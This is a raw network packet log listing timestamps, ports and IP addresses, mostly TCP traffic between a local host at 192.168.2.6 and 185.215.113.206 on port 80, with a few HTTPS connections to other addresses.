Nov 17, 2024 10:07:40.744410992 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744410992 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744415998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744438887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744441032 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744452000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744466066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744467020 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744476080 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744488001 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744493008 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744509935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744513988 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744528055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744543076 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744554996 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744565010 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744575024 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744576931 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744592905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744597912 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744606018 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744617939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744628906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744631052 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744641066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744661093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744666100 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744688034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744689941 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744699955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744721889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744731903 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744740009 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744740009 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744749069 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744760036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744771004 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744774103 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744782925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744793892 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744796991 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744807959 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744817972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744817972 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744829893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744841099 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744848967 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744853973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744864941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744868994 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744883060 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744894981 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744903088 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744918108 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744935036 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744946957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744961023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.744968891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744981050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744995117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.744999886 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745007038 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745018005 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745022058 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745034933 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745050907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745070934 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745079041 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745084047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745089054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745089054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745089054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745089054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745102882 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745115042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745125055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745136976 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745147943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745150089 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745150089 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745171070 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745179892 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745193005 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745193005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745206118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745217085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745219946 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745238066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745242119 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745251894 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745259047 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745263100 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745279074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745286942 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745297909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745311022 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745321989 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745325089 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745338917 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745345116 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745352030 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745356083 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745372057 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745383024 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745387077 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745394945 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745414019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745424986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745434046 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745435953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745443106 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745449066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745460987 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745472908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745480061 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745486021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745491028 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745496035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745512962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745517015 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745526075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745538950 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745543003 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745551109 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745554924 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745563984 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745575905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745585918 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745609045 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745651007 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745670080 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745681047 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745691061 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745709896 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745718956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745738983 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745743036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745755911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745767117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745767117 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745779037 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745781898 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745803118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745805979 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745816946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745827913 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745836020 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745851994 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745855093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745868921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745881081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745887995 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745913029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745923042 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.745927095 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.745959044 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746010065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746021986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746032000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746045113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746047974 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746077061 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746098042 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746164083 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746175051 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746186018 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746196985 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746207952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746211052 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746211052 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746220112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746232986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746237040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746247053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746253967 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746263027 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746268034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746285915 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746287107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746300936 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746315956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746340990 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746383905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746395111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746406078 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746413946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746426105 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746429920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746437073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746458054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746458054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746469975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746491909 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746494055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746504068 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746515989 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746526957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746530056 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746539116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746558905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746562958 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746571064 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746579885 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746583939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746606112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746611118 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746618986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746623039 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746654034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746661901 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746665955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746679068 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746679068 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746701002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746711016 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746722937 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746728897 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746736050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746750116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746798038 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746798038 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746798038 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746841908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746854067 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746874094 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746886015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746887922 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746896982 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746897936 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746911049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746923923 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746932983 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746934891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746946096 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746957064 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746959925 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.746969938 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.746985912 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747000933 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747013092 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747014046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747034073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747040033 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747046947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747065067 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747075081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747076988 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747087955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747101068 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747108936 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747143984 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747158051 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747169018 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747179031 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747200012 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747205973 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747205973 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747205973 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747211933 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747226954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747230053 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747230053 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747252941 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747276068 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747371912 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747384071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747394085 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747412920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747421980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747430086 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747433901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747446060 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747459888 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747489929 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747668028 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747761965 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747899055 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747910023 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747937918 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747941017 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747950077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747962952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747972965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747976065 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.747984886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.747994900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.748007059 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.748008966 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.748023033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.748035908 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.748045921 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.748055935 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.748094082 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.775341034 CET	443	49951	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:40.778449059 CET	49968	443	192.168.2.6	184.25.237.152
Nov 17, 2024 10:07:40.778492928 CET	443	49968	184.25.237.152	192.168.2.6
Nov 17, 2024 10:07:40.778568983 CET	49968	443	192.168.2.6	184.25.237.152
Nov 17, 2024 10:07:40.779227972 CET	49969	443	192.168.2.6	184.25.237.152
Nov 17, 2024 10:07:40.779263020 CET	443	49969	184.25.237.152	192.168.2.6
Nov 17, 2024 10:07:40.779341936 CET	49969	443	192.168.2.6	184.25.237.152
Nov 17, 2024 10:07:40.779582977 CET	49968	443	192.168.2.6	184.25.237.152
Nov 17, 2024 10:07:40.779603958 CET	443	49968	184.25.237.152	192.168.2.6
Nov 17, 2024 10:07:40.779968023 CET	49970	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:40.780003071 CET	443	49970	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:40.780052900 CET	49970	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:40.780168056 CET	49969	443	192.168.2.6	184.25.237.152
Nov 17, 2024 10:07:40.780181885 CET	443	49969	184.25.237.152	192.168.2.6
Nov 17, 2024 10:07:40.780456066 CET	49970	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:40.780466080 CET	443	49970	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:40.790122986 CET	49971	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:40.790167093 CET	443	49971	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:40.790280104 CET	49971	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:40.790709972 CET	49971	443	192.168.2.6	204.79.197.219
Nov 17, 2024 10:07:40.790730953 CET	443	49971	204.79.197.219	192.168.2.6
Nov 17, 2024 10:07:40.793478012 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.793489933 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.793502092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.793540955 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.793574095 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859226942 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859237909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859249115 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859262943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859272957 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859283924 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859297037 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859308958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859333038 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859368086 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859386921 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859410048 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859426022 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859437943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859463930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859476089 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859478951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859478951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:40.859489918 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:40.859500885 CET	49892	80	192.168.2.6	185.215.113.206
